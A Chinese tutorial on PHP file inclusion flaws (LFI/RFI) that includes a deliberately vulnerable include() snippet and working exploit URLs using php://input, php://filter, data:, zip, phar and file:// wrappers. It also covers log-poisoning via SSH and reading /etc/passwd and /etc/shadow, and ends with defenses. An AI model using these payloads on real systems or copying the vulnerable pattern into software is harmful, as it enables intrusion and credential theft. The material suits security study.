Web漏洞之文件包含漏洞
字数 1826 2025-08-10 19:49:05

文件包含漏洞全面解析与防御指南

一、文件包含漏洞概述

文件包含漏洞(File Inclusion)是指对文件操作的函数未经过有效过滤,运行了恶意传入的非预期文件路径,导致敏感信息泄露或代码执行的安全问题。

核心特征

  • 无论文件后缀类型,包含的文件内容都会被解析执行
  • 主要出现在PHP语言中,但也存在于JSP/Servlet和ASP等其他Web语言
  • 分为本地文件包含(LFI)和远程文件包含(RFI)两种类型

漏洞成因

  • 开发人员为增加代码灵活性,将被包含文件设置为变量进行动态调用
  • 用户可控制该变量且服务端未做合理校验或校验被绕过

二、文件包含类型详解

1. 本地文件包含(LFI)

能打开并包含本地文件的漏洞,测试用例如下:

<?php
$filename = $_GET['filename'];
if(isset($filename)){
    include("$filename");
}else{
    echo "file not found!";
}
?>

2. 远程文件包含(RFI)

能包含远程服务器上的文件并执行,危害性更大。需要满足以下PHP配置:

  • allow_url_fopen=On
  • allow_url_include=On (PHP5.2后默认为Off)

三、PHP文件包含函数

PHP提供了四个主要的文件包含函数:

函数 特点
include() 执行到该函数时才包含文件,错误时只警告并继续执行
include_once() 功能同include(),但重复调用同一文件时只调用一次
require() 错误时会终止脚本运行
require_once() 功能同require(),但重复调用同一文件时只调用一次

其他相关函数:

  • highlight_file()show_source():语法高亮显示文件源代码
  • readfile()file_get_contents():读取文件并写入输出缓冲
  • fopen():打开文件或URL

四、攻击利用手法详解

1. php://input协议

  • 原理:访问请求原始数据的只读流,将POST数据作为PHP代码执行
  • 前提allow_url_include=On
  • EXP
    http://127.0.0.1/index.php?file=php://input
    POST Data: <?php phpinfo();?>
    

2. php://filter协议

  • 原理:获取指定文件源码,常配合编码使用以避免执行
  • 前提:只需allow_url_fopen=On
  • EXP
    http://127.0.0.1/index.php?file=php://filter/resource=xxx.php
    http://127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
    

3. zip://伪协议

  • 原理:访问压缩包中的文件
  • 前提:PHP≥5.3.0,需使用绝对路径,#需编码为%23
  • EXP
    http://127.0.0.1/index.php?file=zip://test.zip%23shell.php
    

4. phar://伪协议

  • 原理:类似zip://但使用/分隔路径和文件名
  • 前提:PHP≥5.3.0
  • EXP
    http://127.0.0.1/index.php?file=phar://test.phar/shell.php
    

5. data:text/plain

  • 原理:执行任意代码
  • 前提:PHP≥5.2,且allow_url_fopenallow_url_include都开启
  • EXP
    http://127.0.0.1/index.php?file=data:text/plain,<?php phpinfo();?>
    http://127.0.0.1/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
    

6. file://伪协议

  • 原理:访问本地文件系统
  • 前提:需文件绝对路径
  • EXP
    http://127.0.0.1/index.php?file=file:///etc/passwd
    

五、漏洞组合利用技巧

1. LFI+日志文件getshell

  • 将恶意代码写入日志文件(如access.log/error.log)
  • 通过LFI包含日志文件执行代码
  • 默认日志路径:/var/log/apache2/

2. 配合文件上传漏洞

  • 上传恶意文件后通过文件包含执行

3. 配合路径遍历漏洞

  • 直接包含目标文件:../../etc/passwd

4. 配合session文件

  • 利用session文件保存路径(可在phpinfo中查看)
  • 常见路径:
    /var/lib/php/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
    

5. 配合SSH日志

  • 注入恶意代码到SSH日志:
    ssh -p端口 '<?php phpinfo(); ?>'@IP
    
  • 默认日志路径:/var/log/auth.log

6. 配合运行环境

  • 当PHP以CGI方式运行时,可包含environ文件:
    /proc/self/environ
    
  • 通过修改User-Agent注入代码

六、常见敏感文件路径

Windows系统

c:\boot.ini          // 查看系统版本
c:\windows\repair\sam // 存储初次安装密码
c:\windows\win.ini   // 系统配置文件

Linux系统

/etc/passwd          // 账户信息
/etc/shadow          // 账户密码文件

七、防御与修复方案

1. 访问路径限制

  • 使用open_basedir配置限制文件访问范围

2. 输入过滤

  • 过滤特殊字符:./\
  • 禁止目录跳转字符:../

3. 配置安全

  • 关闭高危配置:
    allow_url_include = Off
    allow_url_fopen = Off
    

4. 白名单机制

  • 对包含文件设置白名单验证

5. 避免动态包含

  • 尽量使用固定文件包含,避免动态变量包含

八、总结

文件包含漏洞危害严重,可导致信息泄露和远程代码执行。防御需从配置安全、输入过滤、访问控制等多方面入手,同时保持PHP等环境的最新版本以修复已知漏洞。开发时应遵循最小权限原则,避免不必要的动态文件包含操作。

文件包含漏洞全面解析与防御指南 一、文件包含漏洞概述 文件包含漏洞(File Inclusion)是指对文件操作的函数未经过有效过滤,运行了恶意传入的非预期文件路径,导致敏感信息泄露或代码执行的安全问题。 核心特征 无论文件后缀类型,包含的文件内容都会被解析执行 主要出现在PHP语言中,但也存在于JSP/Servlet和ASP等其他Web语言 分为本地文件包含(LFI)和远程文件包含(RFI)两种类型 漏洞成因 开发人员为增加代码灵活性,将被包含文件设置为变量进行动态调用 用户可控制该变量且服务端未做合理校验或校验被绕过 二、文件包含类型详解 1. 本地文件包含(LFI) 能打开并包含本地文件的漏洞,测试用例如下: 2. 远程文件包含(RFI) 能包含远程服务器上的文件并执行,危害性更大。需要满足以下PHP配置: allow_url_fopen=On allow_url_include=On (PHP5.2后默认为Off) 三、PHP文件包含函数 PHP提供了四个主要的文件包含函数: | 函数 | 特点 | |------|------| | include() | 执行到该函数时才包含文件,错误时只警告并继续执行 | | include_once() | 功能同include(),但重复调用同一文件时只调用一次 | | require() | 错误时会终止脚本运行 | | require_once() | 功能同require(),但重复调用同一文件时只调用一次 | 其他相关函数: highlight_file() 、 show_source() :语法高亮显示文件源代码 readfile() 、 file_get_contents() :读取文件并写入输出缓冲 fopen() :打开文件或URL 四、攻击利用手法详解 1. php://input协议 原理 :访问请求原始数据的只读流,将POST数据作为PHP代码执行 前提 : allow_url_include=On EXP : 2. php://filter协议 原理 :获取指定文件源码,常配合编码使用以避免执行 前提 :只需 allow_url_fopen=On EXP : 3. zip://伪协议 原理 :访问压缩包中的文件 前提 :PHP≥5.3.0,需使用绝对路径,#需编码为%23 EXP : 4. phar://伪协议 原理 :类似zip://但使用/分隔路径和文件名 前提 :PHP≥5.3.0 EXP : 5. data:text/plain 原理 :执行任意代码 前提 :PHP≥5.2,且 allow_url_fopen 和 allow_url_include 都开启 EXP : 6. file://伪协议 原理 :访问本地文件系统 前提 :需文件绝对路径 EXP : 五、漏洞组合利用技巧 1. LFI+日志文件getshell 将恶意代码写入日志文件(如access.log/error.log) 通过LFI包含日志文件执行代码 默认日志路径: /var/log/apache2/ 2. 配合文件上传漏洞 上传恶意文件后通过文件包含执行 3. 配合路径遍历漏洞 直接包含目标文件: ../../etc/passwd 4. 配合session文件 利用session文件保存路径(可在phpinfo中查看) 常见路径: 5. 配合SSH日志 注入恶意代码到SSH日志: 默认日志路径: /var/log/auth.log 6. 配合运行环境 当PHP以CGI方式运行时,可包含environ文件: 通过修改User-Agent注入代码 六、常见敏感文件路径 Windows系统 Linux系统 七、防御与修复方案 1. 访问路径限制 使用 open_basedir 配置限制文件访问范围 2. 输入过滤 过滤特殊字符: . 、 / 、 \ 禁止目录跳转字符: ../ 3. 配置安全 关闭高危配置: 4. 白名单机制 对包含文件设置白名单验证 5. 避免动态包含 尽量使用固定文件包含,避免动态变量包含 八、总结 文件包含漏洞危害严重,可导致信息泄露和远程代码执行。防御需从配置安全、输入过滤、访问控制等多方面入手,同时保持PHP等环境的最新版本以修复已知漏洞。开发时应遵循最小权限原则,避免不必要的动态文件包含操作。